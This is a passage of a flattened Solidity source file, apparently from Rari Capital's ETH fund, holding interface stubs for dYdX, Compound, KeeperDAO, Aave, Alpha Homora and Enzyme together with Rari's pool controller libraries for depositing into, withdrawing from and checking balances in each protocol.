http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; /** * @title Types * @author dYdX * * Library for interacting with the basic structs used in Solo */ library Types { // ============ AssetAmount ============ enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } // ============ Par (Principal Amount) ============ // Individual principal amount for an account struct Par { bool sign; // true if positive uint128 value; } // ============ Wei (Token Amount) ============ // Individual token amount for an account struct Wei { bool sign; // true if positive uint256 value; } } // File: contracts/external/dydx/Getters.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; /** * @title Getters * @author dYdX * * Public read-only functions that allow transparency into the state of Solo */ contract Getters { using Types for Types.Par; /** * Get an account's summary for each market. * * @param account The account to query * @return The following values: * - The ERC20 token address for each market * - The account's principal value for each market * - The account's (supplied or borrowed) number of tokens for each market */ function getAccountBalances( Account.Info memory account ) public view returns ( address[] memory, Types.Par[] memory, Types.Wei[] memory ); } // File: contracts/external/dydx/lib/Actions.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; /** * @title Actions * @author dYdX * * Library that defines and parses valid Actions */ library Actions { // ============ Enums ============ enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (externally) Sell, // sell an amount of some token (externally) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } // ============ Structs ============ /* * Arguments that are passed to Solo in an ordered list as part of a single operation. * Each ActionArgs has an actionType which specifies which action struct that this data will be * parsed into before being processed. */ struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } } // File: contracts/external/dydx/Operation.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; /** * @title Operation * @author dYdX * * Primary public function for allowing users and contracts to manage accounts within Solo */ contract Operation { /** * The main entry-point to Solo that allows users and contracts to manage accounts. * Take one or more actions on one or more accounts. The msg.sender must be the owner or * operator of all accounts except for those being liquidated, vaporized, or traded with. * One call to operate() is considered a singular "operation". Account collateralization is * ensured only after the completion of the entire operation. * * @param accounts A list of all accounts that will be used in this operation. Cannot contain * duplicates. In each action, the relevant account will be referred-to by its * index in the list. * @param actions An ordered list of all actions that will be taken in this operation. The * actions will be processed in order. */ function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public; } // File: contracts/external/dydx/SoloMargin.sol /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; /** * @title SoloMargin * @author dYdX * * Main contract that inherits from other contracts */ contract SoloMargin is Getters, Operation { } // File: contracts/lib/pools/DydxPoolController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title DydxPoolController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @author Richter Brzeski <richter@rari.capital> (https://github.com/richtermb) * @dev This library handles deposits to and withdrawals from dYdX liquidity pools. */ library DydxPoolController { using SafeMath for uint256; using SafeERC20 for IERC20; address constant private SOLO_MARGIN_CONTRACT = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; SoloMargin constant private _soloMargin = SoloMargin(SOLO_MARGIN_CONTRACT); uint256 constant private WETH_MARKET_ID = 0; address constant private WETH_CONTRACT = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IEtherToken constant private _weth = IEtherToken(WETH_CONTRACT); /** * @dev Returns the fund's balance of the specified currency in the dYdX pool. */ function getBalance() external view returns (uint256) { Account.Info memory account = Account.Info(address(this), 0); (, , Types.Wei[] memory weis) = _soloMargin.getAccountBalances(account); return weis[WETH_MARKET_ID].sign ? weis[WETH_MARKET_ID].value : 0; } /** * @dev Approves WETH to dYdX without spending gas on every deposit. * @param amount Amount of the WETH to approve to dYdX. */ function approve(uint256 amount) external { uint256 allowance = _weth.allowance(address(this), SOLO_MARGIN_CONTRACT); if (allowance == amount) return; if (amount > 0 && allowance > 0) _weth.approve(SOLO_MARGIN_CONTRACT, 0); _weth.approve(SOLO_MARGIN_CONTRACT, amount); } /** * @dev Deposits funds to the dYdX pool. Assumes that you have already approved >= the amount of WETH to dYdX. * @param amount The amount of ETH to be deposited. */ function deposit(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _weth.deposit.value(amount)(); Account.Info memory account = Account.Info(address(this), 0); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = account; Types.AssetAmount memory assetAmount = Types.AssetAmount(true, Types.AssetDenomination.Wei, Types.AssetReference.Delta, amount); bytes memory emptyData; Actions.ActionArgs memory action = Actions.ActionArgs( Actions.ActionType.Deposit, 0, assetAmount, WETH_MARKET_ID, 0, address(this), 0, emptyData ); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); actions[0] = action; _soloMargin.operate(accounts, actions); } /** * @dev Withdraws funds from the dYdX pool. * @param amount The amount of ETH to be withdrawn. */ function withdraw(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); Account.Info memory account = Account.Info(address(this), 0); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = account; Types.AssetAmount memory assetAmount = Types.AssetAmount(false, Types.AssetDenomination.Wei, Types.AssetReference.Delta, amount); bytes memory emptyData; Actions.ActionArgs memory action = Actions.ActionArgs( Actions.ActionType.Withdraw, 0, assetAmount, WETH_MARKET_ID, 0, address(this), 0, emptyData ); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); actions[0] = action; _soloMargin.operate(accounts, actions); _weth.withdraw(amount); // Convert WETH to ETH } /** * @dev Withdraws all funds from the dYdX pool. */ function withdrawAll() external { Account.Info memory account = Account.Info(address(this), 0); Account.Info[] memory accounts = new Account.Info[](1); accounts[0] = account; Types.AssetAmount memory assetAmount = Types.AssetAmount(true, Types.AssetDenomination.Par, Types.AssetReference.Target, 0); bytes memory emptyData; Actions.ActionArgs memory action = Actions.ActionArgs( Actions.ActionType.Withdraw, 0, assetAmount, WETH_MARKET_ID, 0, address(this), 0, emptyData ); Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](1); actions[0] = action; _soloMargin.operate(accounts, actions); _weth.withdraw(_weth.balanceOf(address(this))); // Convert WETH to ETH } } // File: contracts/external/compound/CEther.sol /** * Copyright 2020 Compound Labs, Inc. * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ pragma solidity 0.5.17; /** * @title Compound's CEther Contract * @notice CToken which wraps Ether * @author Compound */ interface CEther { function mint() external payable; function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function balanceOf(address account) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); } // File: contracts/lib/pools/CompoundPoolController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title CompoundPoolController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @author Richter Brzeski <richter@rari.capital> (https://github.com/richtermb) * @dev This library handles deposits to and withdrawals from Compound liquidity pools. */ library CompoundPoolController { using SafeMath for uint256; using SafeERC20 for IERC20; address constant private cETH_CONTACT_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; CEther constant private _cETHContract = CEther(cETH_CONTACT_ADDRESS); /** * @dev Returns the fund's balance of the specified currency in the Compound pool. */ function getBalance() external returns (uint256) { return _cETHContract.balanceOfUnderlying(address(this)); } /** * @dev Deposits funds to the Compound pool. Assumes that you have already approved >= the amount to Compound. * @param amount The amount of tokens to be deposited. */ function deposit(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _cETHContract.mint.value(amount)(); } /** * @dev Withdraws funds from the Compound pool. * @param amount The amount of tokens to be withdrawn. */ function withdraw(uint256 amount) external { require(amount > 0, "Amount must be greater than to 0."); uint256 redeemResult = _cETHContract.redeemUnderlying(amount); require(redeemResult == 0, "Error calling redeemUnderlying on Compound cToken: error code not equal to 0"); } /** * @dev Withdraws all funds from the Compound pool. * @return Boolean indicating success. */ function withdrawAll() external returns (bool) { uint256 balance = _cETHContract.balanceOf(address(this)); if (balance <= 0) return false; uint256 redeemResult = _cETHContract.redeem(balance); require(redeemResult == 0, "Error calling redeem on Compound cToken: error code not equal to 0"); return true; } } // File: contracts/external/keeperdao/IKToken.sol pragma solidity 0.5.17; interface IKToken { function underlying() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address recipient, uint256 amount) external returns (bool); function burnFrom(address sender, uint256 amount) external; function addMinter(address sender) external; function renounceMinter() external; } // File: contracts/external/keeperdao/ILiquidityPool.sol pragma solidity 0.5.17; interface ILiquidityPool { function () external payable; function kToken(address _token) external view returns (IKToken); function register(IKToken _kToken) external; function renounceOperator() external; function deposit(address _token, uint256 _amount) external payable returns (uint256); function withdraw(address payable _to, IKToken _kToken, uint256 _kTokenAmount) external; function borrowableBalance(address _token) external view returns (uint256); function underlyingBalance(address _token, address _owner) external view returns (uint256); } // File: contracts/lib/pools/KeeperDaoPoolController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title KeeperDaoPoolController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @author Richter Brzeski <richter@rari.capital> (https://github.com/richtermb) * @dev This library handles deposits to and withdrawals from KeeperDAO liquidity pools. */ library KeeperDaoPoolController { using SafeMath for uint256; using SafeERC20 for IERC20; address payable constant private KEEPERDAO_CONTRACT = 0x35fFd6E268610E764fF6944d07760D0EFe5E40E5; ILiquidityPool constant private _liquidityPool = ILiquidityPool(KEEPERDAO_CONTRACT); // KeeperDAO's representation of ETH address constant private ETHEREUM_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); /** * @dev Returns the fund's balance in the KeeperDAO pool. */ function getBalance() external view returns (uint256) { return _liquidityPool.underlyingBalance(ETHEREUM_ADDRESS, address(this)); } /** * @dev Approves kEther to KeeperDAO to burn without spending gas on every deposit. * @param amount Amount of kEther to approve to KeeperDAO. */ function approve(uint256 amount) external { IKToken kEther = _liquidityPool.kToken(ETHEREUM_ADDRESS); uint256 allowance = kEther.allowance(address(this), KEEPERDAO_CONTRACT); if (allowance == amount) return; if (amount > 0 && allowance > 0) kEther.approve(KEEPERDAO_CONTRACT, 0); kEther.approve(KEEPERDAO_CONTRACT, amount); } /** * @dev Deposits funds to the KeeperDAO pool.. * @param amount The amount of ETH to be deposited. */ function deposit(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _liquidityPool.deposit.value(amount)(ETHEREUM_ADDRESS, amount); } /** * @dev Withdraws funds from the KeeperDAO pool. * @param amount The amount of ETH to be withdrawn. */ function withdraw(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _liquidityPool.withdraw(address(uint160(address(this))), _liquidityPool.kToken(ETHEREUM_ADDRESS), calculatekEtherWithdrawAmount(amount)); } /** * @dev Withdraws all funds from the KeeperDAO pool. * @return Boolean indicating success. */ function withdrawAll() external returns (bool) { IKToken kEther = _liquidityPool.kToken(ETHEREUM_ADDRESS); uint256 balance = kEther.balanceOf(address(this)); if (balance <= 0) return false; _liquidityPool.withdraw(address(uint160(address(this))), kEther, balance); return true; } /** * @dev Calculates an amount of kEther to withdraw equivalent to amount parameter in ETH. * @return amount to withdraw in kEther. */ function calculatekEtherWithdrawAmount(uint256 amount) internal view returns (uint256) { IKToken kEther = _liquidityPool.kToken(ETHEREUM_ADDRESS); uint256 totalSupply = kEther.totalSupply(); uint256 borrowableBalance = _liquidityPool.borrowableBalance(ETHEREUM_ADDRESS); uint256 kEtherAmount = amount.mul(totalSupply).div(borrowableBalance); if (kEtherAmount.mul(borrowableBalance).div(totalSupply) < amount) kEtherAmount++; return kEtherAmount; } } // File: contracts/external/aave/LendingPool.sol /** * Aave Protocol * Copyright (C) 2019 Aave * This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details */ pragma solidity 0.5.17; /** * @title LendingPool contract * @notice Implements the actions of the LendingPool, and exposes accessory methods to fetch the users and reserve data * @author Aave */ contract LendingPool { /** * @dev deposits The underlying asset into the reserve. A corresponding amount of the overlying asset (aTokens) * is minted. * @param _reserve the address of the reserve * @param _amount the amount to be deposited * @param _referralCode integrators are assigned a referral code and can potentially receive rewards. */ function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external payable; } // File: contracts/external/aave/AToken.sol /** * Aave Protocol * Copyright (C) 2019 Aave * This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details */ pragma solidity 0.5.17; /** * @title Aave ERC20 AToken * @dev Implementation of the interest bearing token for the DLP protocol. * @author Aave */ contract AToken { /** * @dev redeems aToken for the underlying asset * @param _amount the amount being redeemed */ function redeem(uint256 _amount) external; /** * @dev calculates the balance of the user, which is the * principal balance + interest generated by the principal balance + interest generated by the redirected balance * @param _user the user for which the balance is being calculated * @return the total balance of the user */ function balanceOf(address _user) public view returns (uint256); } // File: contracts/lib/pools/AavePoolController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title AavePoolController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @author Richter Brzeski <richter@rari.capital> (https://github.com/richtermb) * @dev This library handles deposits to and withdrawals from Aave liquidity pools. */ library AavePoolController { using SafeMath for uint256; using SafeERC20 for IERC20; /** * @dev Aave LendingPool contract address. */ address constant private LENDING_POOL_CONTRACT = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119; /** * @dev Aave LendingPool contract object. */ LendingPool constant private _lendingPool = LendingPool(LENDING_POOL_CONTRACT); /** * @dev Aave LendingPoolCore contract address. */ address constant private LENDING_POOL_CORE_CONTRACT = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; /** * @dev AETH contract address. */ address constant private AETH_CONTRACT = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04; /** * @dev AETH contract. */ AToken constant private aETH = AToken(AETH_CONTRACT); /** * @dev Ethereum address abstraction */ address constant private ETHEREUM_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); /** * @dev Returns the fund's balance of the specified currency in the Aave pool. */ function getBalance() external view returns (uint256) { return aETH.balanceOf(address(this)); } /** * @dev Deposits funds to the Aave pool. Assumes that you have already approved >= the amount to Aave. * @param amount The amount of tokens to be deposited. * @param referralCode Referral code. */ function deposit(uint256 amount, uint16 referralCode) external { require(amount > 0, "Amount must be greater than 0."); _lendingPool.deposit.value(amount)(ETHEREUM_ADDRESS, amount, referralCode); } /** * @dev Withdraws funds from the Aave pool. * @param amount The amount of tokens to be withdrawn. */ function withdraw(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); aETH.redeem(amount); } /** * @dev Withdraws all funds from the Aave pool. */ function withdrawAll() external { aETH.redeem(uint256(-1)); } } // File: contracts/external/alpha/Bank.sol // SPDX-License-Identifier: MIT pragma solidity 0.5.17; contract Bank is IERC20 { /// @dev Return the total ETH entitled to the token holders. Be careful of unaccrued interests. function totalETH() public view returns (uint256); /// @dev Add more ETH to the bank. Hope to get some good returns. function deposit() external payable; /// @dev Withdraw ETH from the bank by burning the share tokens. function withdraw(uint256 share) external; } // File: contracts/lib/pools/AlphaPoolController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title AlphaPoolController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @dev This library handles deposits to and withdrawals from Alpha Homora's ibETH pool. */ library AlphaPoolController { using SafeMath for uint256; using SafeERC20 for IERC20; /** * @dev Alpha Homora ibETH token contract address. */ address constant private IBETH_CONTRACT = 0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A; /** * @dev Alpha Homora ibETH token contract object. */ Bank constant private _ibEth = Bank(IBETH_CONTRACT); /** * @dev Returns the fund's balance of the specified currency in the ibETH pool. */ function getBalance() external view returns (uint256) { return _ibEth.balanceOf(address(this)).mul(_ibEth.totalETH()).div(_ibEth.totalSupply()); } /** * @dev Deposits funds to the ibETH pool. Assumes that you have already approved >= the amount to the ibETH token contract. * @param amount The amount of ETH to be deposited. */ function deposit(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _ibEth.deposit.value(amount)(); } /** * @dev Withdraws funds from the ibETH pool. * @param amount The amount of tokens to be withdrawn. */ function withdraw(uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); uint256 totalEth = _ibEth.totalETH(); uint256 totalSupply = _ibEth.totalSupply(); uint256 credits = amount.mul(totalSupply).div(totalEth); if (credits.mul(totalEth).div(totalSupply) < amount) credits++; // Round up if necessary (i.e., if the division above left a remainder) _ibEth.withdraw(credits); } /** * @dev Withdraws all funds from the ibETH pool. * @return Boolean indicating success. */ function withdrawAll() external returns (bool) { uint256 balance = _ibEth.balanceOf(address(this)); if (balance <= 0) return false; _ibEth.withdraw(balance); return true; } } // File: contracts/external/enzyme/ComptrollerLib.sol // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <council@enzyme.finance> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.5.17; /// @title ComptrollerLib Contract /// @author Enzyme Council <security@enzyme.finance> /// @notice The core logic library shared by all funds interface ComptrollerLib { //////////////// // ACCOUNTING // //////////////// /// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset /// @param _requireFinality True if all assets must have exact final balances settled /// @return grossShareValue_ The amount of the denomination asset per share /// @return isValid_ True if the conversion rates to derive the value are all valid /// @dev Does not account for any fees outstanding. function calcGrossShareValue(bool _requireFinality) external returns (uint256 grossShareValue_, bool isValid_); /////////////////// // PARTICIPATION // /////////////////// // BUY SHARES /// @notice Buys shares in the fund for multiple sets of criteria /// @param _buyers The accounts for which to buy shares /// @param _investmentAmounts The amounts of the fund's denomination asset /// with which to buy shares for the corresponding _buyers /// @param _minSharesQuantities The minimum quantities of shares to buy /// with the corresponding _investmentAmounts /// @return sharesReceivedAmounts_ The actual amounts of shares received /// by the corresponding _buyers /// @dev Param arrays have indexes corresponding to individual __buyShares() orders. function buyShares( address[] calldata _buyers, uint256[] calldata _investmentAmounts, uint256[] calldata _minSharesQuantities ) external returns (uint256[] memory sharesReceivedAmounts_); // REDEEM SHARES /// @notice Redeem all of the sender's shares for a proportionate slice of the fund's assets /// @return payoutAssets_ The assets paid out to the redeemer /// @return payoutAmounts_ The amount of each asset paid out to the redeemer /// @dev See __redeemShares() for further detail function redeemShares() external returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_); /// @notice Redeem a specified quantity of the sender's shares for a proportionate slice of /// the fund's assets, optionally specifying additional assets and assets to skip. /// @param _sharesQuantity The quantity of shares to redeem /// @param _additionalAssets Additional (non-tracked) assets to claim /// @param _assetsToSkip Tracked assets to forfeit /// @return payoutAssets_ The assets paid out to the redeemer /// @return payoutAmounts_ The amount of each asset paid out to the redeemer /// @dev Any claim to passed _assetsToSkip will be forfeited entirely. This should generally /// only be exercised if a bad asset is causing redemption to fail. function redeemSharesDetailed( uint256 _sharesQuantity, address[] calldata _additionalAssets, address[] calldata _assetsToSkip ) external returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_); /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the `vaultProxy` variable /// @return vaultProxy_ The `vaultProxy` variable value function getVaultProxy() external view returns (address vaultProxy_); } // File: contracts/lib/pools/EnzymePoolController.sol /** * COPYRIGHT © 2020 RARI CAPITAL, INC. ALL RIGHTS RESERVED. * Anyone is free to integrate the public (i.e., non-administrative) application programming interfaces (APIs) of the official Ethereum smart contract instances deployed by Rari Capital, Inc. in any application (commercial or noncommercial and under any license), provided that the application does not abuse the APIs or act against the interests of Rari Capital, Inc. * Anyone is free to study, review, and analyze the source code contained in this package. * Reuse (including deployment of smart contracts other than private testing on a private network), modification, redistribution, or sublicensing of any source code contained in this package is not permitted without the explicit permission of David Lucid of Rari Capital, Inc. * No one is permitted to use the software for any purpose other than those allowed by this license. * This license is liable to change at any time at the sole discretion of David Lucid of Rari Capital, Inc. */ pragma solidity 0.5.17; /** * @title EnzymePoolController * @author David Lucid <david@rari.capital> (https://github.com/davidlucid) * @dev This library handles deposits to and withdrawals from Enzyme's Rari ETH (technically WETH) pool. */ library EnzymePoolController { using SafeMath for uint256; using SafeERC20 for IERC20; /** * @dev The WETH contract address. */ address constant private WETH_CONTRACT = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /** * @dev The WETH contract object. */ IEtherToken constant private _weth = IEtherToken(WETH_CONTRACT); /** * @dev Alpha Homora ibETH token contract address. */ address constant private IBETH_CONTRACT = 0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A; /** * @dev Returns the fund's balance of ETH (technically WETH) in the Enzyme pool. */ function getBalance(address comptroller) external returns (uint256) { ComptrollerLib _comptroller = ComptrollerLib(comptroller); (uint256 price, bool valid) = _comptroller.calcGrossShareValue(true); require(valid, "Enzyme gross share value not valid."); return IERC20(_comptroller.getVaultProxy()).balanceOf(address(this)).mul(price).div(1e18); } /** * @dev Approves WETH to the Enzyme pool Comptroller without spending gas on every deposit. * @param comptroller The Enzyme pool Comptroller contract address. * @param amount Amount of the WETH to approve to the Enzyme pool Comptroller. */ function approve(address comptroller, uint256 amount) external { uint256 allowance = _weth.allowance(address(this), comptroller); if (allowance == amount) return; if (amount > 0 && allowance > 0) _weth.approve(comptroller, 0); _weth.approve(comptroller, amount); } /** * @dev Deposits funds to the Enzyme pool. Assumes that you have already approved >= the amount to the Enzyme Comptroller contract. * @param comptroller The Enzyme pool Comptroller contract address. * @param amount The amount of ETH to be deposited. */ function deposit(address comptroller, uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); _weth.deposit.value(amount)(); address[] memory buyers = new address[](1); buyers[0] = address(this); uint256[] memory amounts = new uint256[](1); amounts[0] = amount; uint256[] memory minShares = new uint256[](1); minShares[0] = 0; ComptrollerLib(comptroller).buyShares(buyers, amounts, minShares); } /** * @dev Withdraws funds from the Enzyme pool. * @param comptroller The Enzyme pool Comptroller contract address. * @param amount The amount of tokens to be withdrawn. */ function withdraw(address comptroller, uint256 amount) external { require(amount > 0, "Amount must be greater than 0."); ComptrollerLib _comptroller = ComptrollerLib(comptroller); (uint256 price, bool valid) = _comptroller.calcGrossShareValue(true); require(valid, "Enzyme gross share value not valid."); uint256 shares = amount.mul(1e18).div(price); if (shares.mul(price).div(1e18) < amount) shares++; // Round up if necessary (i.e., if the division above left a remainder) address[] memory additionalAssets = new address[](0); address[] memory assetsToSkip = new address[](0); _comptroller.redeemSharesDetailed(shares, additionalAssets, assetsToSkip); _weth.withdraw(_weth.balanceOf(address(this))); } /** * @dev Withdraws all funds from the Enzyme pool. * @param comptroller The Enzyme pool Comptroller contract address. */ function withdrawAll(address comptroller) external { ComptrollerLib(comptroller).redeemShares(); _weth.withdraw(_weth.balanceOf(address(this))); } } // File: 